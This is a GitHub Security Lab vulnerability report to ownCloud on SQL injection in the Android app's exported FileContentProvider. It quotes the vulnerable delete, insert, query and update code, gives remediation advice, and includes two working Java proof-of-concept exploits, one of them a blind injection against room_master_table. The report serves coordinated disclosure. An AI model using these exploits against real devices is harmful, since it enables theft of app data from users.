GitHub Security Lab (GHSL) Vulnerability Report: SQLInjection in FileContentProvider.kt (GHSL-2022-059)

The [GitHub Security Lab](https://securitylab.github.com) team has identified potential security vulnerabilities in [Owncloud Android app](https://github.com/owncloud/android). We are committed to working with you to help resolve these issues. In this report you will find everything you need to effectively coordinate a resolution of these issues with the GHSL team. If at any point you have concerns or questions about this process, please do not hesitate to reach out to us at `[email protected]` (please include `GHSL-2022-059` or `GHSL-2022-060` as a reference). If you are _NOT_ the correct point of contact for this report, please let us know! ## Summary The Owncloud Android app uses [content providers](https://developer.android.com/guide/topics/providers/content-provider-basics) to manage its data. The provider `FileContentProvider` has SQL injection vulnerabilities that allows malicious applications or users in the same device to obtain internal information of the app. ## Details The `FileContentProvider` provider is exported, as can be seen in the Android Manifest: [`AndroidManifest.xml:153`](https://github.com/owncloud/android/blob/73f152c242dd818b9c4de267fe072338a35ff2ba/owncloudApp/src/main/AndroidManifest.xml#L153) ```xml <provider android:name=".providers.FileContentProvider" android:authorities="@string/authority" android:enabled="true" android:exported="true" android:label="@string/sync_string_files" android:syncable="true" /> ``` All tables in this content provider can be freely interacted with by other apps in the same device. By reviewing the entry-points of the content provider for those tables, it can be seen that several parameters containing user input end up reaching an unsafe SQL method that allows for SQL injection. ## The `delete` method User input enters the content provider through the three parameters of this method: [`FileContentProvider.kt:85`](https://github.com/owncloud/android/blob/73f152c242dd818b9c4de267fe072338a35ff2ba/owncloudApp/src/main/java/com/owncloud/android/providers/FileContentProvider.kt#L85) ```kt override fun delete(uri: Uri, where: String?, whereArgs: Array<String>?): Int { ``` The `where` parameter reaches the following dangerous arguments without sanitization: [`FileContentProvider.kt:102`](https://github.com/owncloud/android/blob/73f152c242dd818b9c4de267fe072338a35ff2ba/owncloudApp/src/main/java/com/owncloud/android/providers/FileContentProvider.kt#L102) ```kt private fun delete(db: SQLiteDatabase, uri: Uri, where: String?, whereArgs: Array<String>?): Int { // --snip-- when (uriMatcher.match(uri)) { SINGLE_FILE -> { // --snip-- count = db.delete( ProviderTableMeta.FILE_TABLE_NAME, ProviderTableMeta._ID + "=" + uri.pathSegments[1] + if (!TextUtils.isEmpty(where)) " AND ($where)" // injection else "", whereArgs ) } DIRECTORY -> { // --snip-- count += db.delete( ProviderTableMeta.FILE_TABLE_NAME, ProviderTableMeta._ID + "=" + uri.pathSegments[1] + if (!TextUtils.isEmpty(where)) " AND ($where)" // injection else "", whereArgs ) } ROOT_DIRECTORY -> count = db.delete(ProviderTableMeta.FILE_TABLE_NAME, where, whereArgs) // injection SHARES -> count = OwncloudDatabase.getDatabase(MainApp.appContext).shareDao().deleteShare(uri.pathSegments[1]) CAPABILITIES -> count = db.delete(ProviderTableMeta.CAPABILITIES_TABLE_NAME, where, whereArgs) // injection UPLOADS -> count = db.delete(ProviderTableMeta.UPLOADS_TABLE_NAME, where, whereArgs) // injection CAMERA_UPLOADS_SYNC -> count = db.delete(ProviderTableMeta.CAMERA_UPLOADS_SYNC_TABLE_NAME, where, whereArgs) // injection QUOTAS -> count = db.delete(ProviderTableMeta.USER_QUOTAS_TABLE_NAME, where, whereArgs) // injection // --snip-- } // --snip-- } ``` ### The `insert` method User input enters the content provider through the two parameters of this method: [`FileContentProvider.kt:183`](https://github.com/owncloud/android/blob/73f152c242dd818b9c4de267fe072338a35ff2ba/owncloudApp/src/main/java/com/owncloud/android/providers/FileContentProvider.kt#L183) ```kt override fun insert(uri: Uri, values: ContentValues?): Uri? { ``` The `values` parameter reaches the following dangerous arguments without sanitization: [`FileContentProvider.kt:197`](https://github.com/owncloud/android/blob/73f152c242dd818b9c4de267fe072338a35ff2ba/owncloudApp/src/main/java/com/owncloud/android/providers/FileContentProvider.kt#L197) ```kt private fun insert(db: SQLiteDatabase, uri: Uri, values: ContentValues?): Uri { when (uriMatcher.match(uri)) { ROOT_DIRECTORY, SINGLE_FILE -> { // --snip-- return if (!doubleCheck.moveToFirst()) { // --snip-- val fileId = db.insert(ProviderTableMeta.FILE_TABLE_NAME, null, values) // injection // --snip-- } // --snip-- } // --snip-- CAPABILITIES -> { val capabilityId = db.insert(ProviderTableMeta.CAPABILITIES_TABLE_NAME, null, values) // injection // --snip-- } UPLOADS -> { val uploadId = db.insert(ProviderTableMeta.UPLOADS_TABLE_NAME, null, values) // injection // --snip-- } CAMERA_UPLOADS_SYNC -> { val cameraUploadId = db.insert( ProviderTableMeta.CAMERA_UPLOADS_SYNC_TABLE_NAME, null, values // injection ) // --snip-- } QUOTAS -> { val quotaId = db.insert( ProviderTableMeta.USER_QUOTAS_TABLE_NAME, null, values // injection ) // --snip-- } // --snip-- } } ``` ### The `query` method User input enters the content provider through the five parameters of this method: [`FileContentProvider.kt:304`](https://github.com/owncloud/android/blob/73f152c242dd818b9c4de267fe072338a35ff2ba/owncloudApp/src/main/java/com/owncloud/android/providers/FileContentProvider.kt#L304-L309) ```kt override fun query( uri: Uri, projection: Array<String>?, selection: String?, selectionArgs: Array<String>?, sortOrder: String? ): Cursor { ``` The `selection` and `sortOrder` parameters reach the following dangerous arguments without sanitization (note that `projection` is safe because of the use of a projection map): [`FileContentProvider.kt:337`](https://github.com/owncloud/android/blob/73f152c242dd818b9c4de267fe072338a35ff2ba/owncloudApp/src/main/java/com/owncloud/android/providers/FileContentProvider.kt#L337-L354) ```kt SHARES -> { val supportSqlQuery = SupportSQLiteQueryBuilder .builder(ProviderTableMeta.OCSHARES_TABLE_NAME) .columns(computeProjection(projection)) .selection(selection, selectionArgs) // injection .orderBy( if (TextUtils.isEmpty(sortOrder)) { sortOrder // injection } else { ProviderTableMeta.OCSHARES_DEFAULT_SORT_ORDER } ).create() // To use full SQL queries within Room val newDb: SupportSQLiteDatabase = OwncloudDatabase.getDatabase(MainApp.appContext).openHelper.writableDatabase return newDb.query(supportSqlQuery) } ``` [`FileContentProvider.kt:402`](https://github.com/owncloud/android/blob/73f152c242dd818b9c4de267fe072338a35ff2ba/owncloudApp/src/main/java/com/owncloud/android/providers/FileContentProvider.kt#L402) ```kt val c = sqlQuery.query(db, projection, selection, selectionArgs, null, null, order) ``` ### The `update` method User input enters the content provider through the four parameters of this method: [`FileContentProvider.kt:458`](https://github.com/owncloud/android/blob/73f152c242dd818b9c4de267fe072338a35ff2ba/owncloudApp/src/main/java/com/owncloud/android/providers/FileContentProvider.kt#L444) ```kt override fun update(uri: Uri, values: ContentValues?, selection: String?, selectionArgs: Array<String>?): Int { ``` The `values` and `selection` parameters reach the following dangerous arguments without sanitization: [`FileContentProvider.kt:458`](https://github.com/owncloud/android/blob/73f152c242dd818b9c4de267fe072338a35ff2ba/owncloudApp/src/main/java/com/owncloud/android/providers/FileContentProvider.kt#L458-L486) ```kt private fun update( db: SQLiteDatabase, uri: Uri, values: ContentValues?, selection: String?, selectionArgs: Array<String>? ): Int { if (selection != null && selectionArgs == null) { throw IllegalArgumentException("Selection not allowed, use parameterized queries") } when (uriMatcher.match(uri)) { DIRECTORY -> return 0 //updateFolderSize(db, selectionArgs[0]); SHARES -> return values?.let { OwncloudDatabase.getDatabase(context!!).shareDao() .update(OCShareEntity.fromContentValues(it)).toInt() } ?: 0 CAPABILITIES -> return db.update(ProviderTableMeta.CAPABILITIES_TABLE_NAME, values, selection, selectionArgs) // injection UPLOADS -> { val ret = db.update(ProviderTableMeta.UPLOADS_TABLE_NAME, values, selection, selectionArgs) // injection trimSuccessfulUploads(db) return ret } CAMERA_UPLOADS_SYNC -> return db.update(ProviderTableMeta.CAMERA_UPLOADS_SYNC_TABLE_NAME, values, selection, selectionArgs) // injection QUOTAS -> return db.update(ProviderTableMeta.USER_QUOTAS_TABLE_NAME, values, selection, selectionArgs) // injection else -> return db.update( ProviderTableMeta.FILE_TABLE_NAME, values, selection, selectionArgs // injection ) } } ``` ## Remediation Consider these suggestions: https://developer.android.com/guide/topics/providers/content-provider-basics#Injection. In general, any user input, including the parameters of the exposed methods of the `ContentProvider` interface, should be considered potentially malicious. As such, make sure that they are correctly validated and/or sanitized before using them in SQL statements or calls. This includes the keys in `ContentValues` objects, since those are used as column names in `insert` and `update` calls. Also, if a content provider does not need to be exported, it is best to set its `exported` attribute to `false` so that other applications are not able to access it. ## Resources ### SQL injection in `filelist` The following PoC demonstrates how a malicious application with no special permissions could extract information from any table in the `filelist` database exploiting the issues mentioned above: ```java package com.example.test; import android.content.ContentValues; import android.content.Context; import android.database.Cursor; import android.net.Uri; import android.util.Log; public class OwncloudProviderExploit { public static String exploit(Context ctx, String columnName, String tableName) throws Exception { Uri result = ctx.getContentResolver().insert(Uri.parse("content://org.owncloud/file"), newOwncloudFile()); ContentValues updateValues = new ContentValues(); updateValues.put("etag=?,path=(SELECT GROUP_CONCAT(" + columnName + ",'\n') " + "FROM " + tableName + ") " + "WHERE _id=" + result.getLastPathSegment() + "-- -", "a"); Log.e("test", "" + ctx.getContentResolver().update( result, updateValues, null, null)); String query = query(ctx, new String[]{"path"}, "_id=?", new String[]{result.getLastPathSegment()}); deleteFile(ctx, result.getLastPathSegment()); return query; } public static String query(Context ctx, String[] projection, String selection, String[] selectionArgs) throws Exception { try (Cursor mCursor = ctx.getContentResolver().query(Uri.parse("content://org.owncloud/file"), projection, selection, selectionArgs, null)) { if (mCursor == null) { Log.e("evil", "mCursor is null"); return "0"; } StringBuilder output = new StringBuilder(); while (mCursor.moveToNext()) { for (int i = 0; i < mCursor.getColumnCount(); i++) { String column = mCursor.getColumnName(i); String value = mCursor.getString(i); output.append("|").append(column).append(":").append(value); } output.append("\n"); } return output.toString(); } } private static ContentValues newOwncloudFile() throws Exception { ContentValues values = new ContentValues(); values.put("parent", "a"); values.put("filename", "a"); values.put("created", "a"); values.put("modified", "a"); values.put("modified_at_last_sync_for_data", "a"); values.put("content_length", "a"); values.put("content_type", "a"); values.put("media_path", "a"); values.put("path", "a"); values.put("file_owner", "a"); values.put("last_sync_date", "a"); values.put("last_sync_date_for_data", "a"); values.put("etag", "a"); values.put("share_by_link", "a"); values.put("shared_via_users", "a"); values.put("permissions", "a"); values.put("remote_id", "a"); values.put("update_thumbnail", "a"); values.put("is_downloading", "a"); values.put("etag_in_conflict", "a"); return values; } public static String deleteFile(Context ctx, String id) throws Exception { ctx.getContentResolver().delete( Uri.parse("content://org.owncloud/file/" + id), null, null ); return "1"; } } ``` By providing a columnName and tableName to the exploit function, the attacker takes advantage of the issues explained above to: * Create a new file entry in `FileContentProvider`. * Exploit the SQL Injection in the `update` method to set the `path` of the recently created file to the values of `columnName` in the table `tableName`. * Query the `path` of the modified file entry to obtain the desired values. * Delete the file entry. For instance, `exploit(context, "name", "SQLITE_MASTER WHERE type="table")` would return all the tables in the `filelist` database. ### Blind SQL injection in `owncloud_database` The following PoC demonstrates how a malicious application with no special permissions could extract information from any table in the `owncloud_database` database exploiting the issues mentioned above using a Blind SQL injection technique: ```java package com.example.test; import android.content.Context; import android.database.Cursor; import android.net.Uri; import android.util.Log; public class OwncloudProviderExploit { public static String blindExploit(Context ctx) { String output = ""; String chars = "abcdefghijklmopqrstuvwxyz0123456789"; while (true) { int outputLength = output.length(); for (int i = 0; i < chars.length(); i++) { char candidate = chars.charAt(i); String attempt = String.format("%s%c%s", output, candidate, "%"); try (Cursor mCursor = ctx.getContentResolver().query( Uri.parse("content://org.owncloud/shares"), null, "'a'=? AND (SELECT identity_hash FROM room_master_table) LIKE '" + attempt + "'", new String[]{"a"}, null)) { if (mCursor == null) { Log.e("ProviderHelper", "mCursor is null"); return "0"; } if (mCursor.getCount() > 0) { output += candidate; Log.i("evil", output); break; } } } if (output.length() == outputLength) break; } return output; } } ``` ## GitHub Security Advisories We recommend you create a private [GitHub Security Advisory](https://help.github.com/en/github/managing-security-vulnerabilities/creating-a-security-advisory) for these findings. This also allows you to invite the GHSL team to collaborate and further discuss these findings in private before they are [published](https://help.github.com/en/github/managing-security-vulnerabilities/publishing-a-security-advisory). ## Credit These issues were discovered and reported by the CodeQL team member [@atorralba (Tony Torralba)](https://github.com/atorralba). ## Contact You can contact the GHSL team at `[email protected]`, please include a reference to `GHSL-2022-059` or `GHSL-2022-060` in any communication regarding these issues. ## Disclosure Policy This report is subject to our [coordinated disclosure policy](https://securitylab.github.com/advisories#policy). ## Impact There are two databases affected by this vulnerability: `filelist` and `owncloud_database`. Since the tables in `filelist` are affected by the injections in the `insert` and `update` methods, an attacker can use those to insert a crafted row in any table of the database containing data queried from other tables. After that, the attacker only needs to query the crafted row to obtain the information (see the `Resources` section for a PoC). Despite that, currently all tables are legitimately exposed through the content provider itself, so the injections cannot be exploited to obtain any extra data. Nonetheless, if new tables were added in the future that were not accessible through the content provider, those could be accessed using these vulnerabilities. Regarding the tables in `owncloud_database`, there are two that are not accessible through the content provider: `room_master_table` and `folder_backup`. An attacker can exploit the vulnerability in the `query` method to exfiltrate data from those. Since the `strictMode` is enabled in the `query` method, the attacker needs to use a Blind SQL injection attack to succeed (see the `Resources` section for a PoC). In both cases, the impact is information disclosure. Take into account that the tables exposed in the content provider (most of them) are arbitrarily modifiable by third party apps without exploiting any vulnerability, since the `FileContentProvider` is exported and does not require any permissions.